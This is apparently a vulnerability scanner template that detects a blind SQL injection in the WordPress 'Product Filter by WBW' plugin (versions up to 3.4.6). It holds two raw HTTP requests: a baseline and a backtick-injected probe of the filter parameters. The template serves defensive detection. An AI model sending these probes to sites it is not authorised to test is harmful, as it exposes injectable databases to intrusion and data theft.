Product Filter by WBW <= 3.4.6 - SQL Injection

id: CVE-2026-112866

info:
  name: Product Filter by WBW <= 3.4.6 - SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    WPFactory Product Filter by WBW woo-product-filter <= 3.4.6 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers perform blind SQL injection remotely, exploit requires crafted input.
  impact: |
    Attackers can perform blind SQL injection to extract or manipulate database information, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to the latest version beyond 3.4.6.
  reference:
    - https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-4-6-sql-injection-vulnerability
    - https://www.cve.org/CVERecord?id=CVE-2026-112866
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-112866
    epss-score: 0.00356
    epss-percentile: 0.2931
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: woobewoo
    product: woo-product-filter
  tags: cve,cve2026,wordpress,wp-plugin,woo-product-filter,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22pa_color%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"filter_state\":{\"exists\":{\"pa_color\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%60%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22color%60%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%2560%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"filter_state\":{\"exists\":[]")'
        condition: and
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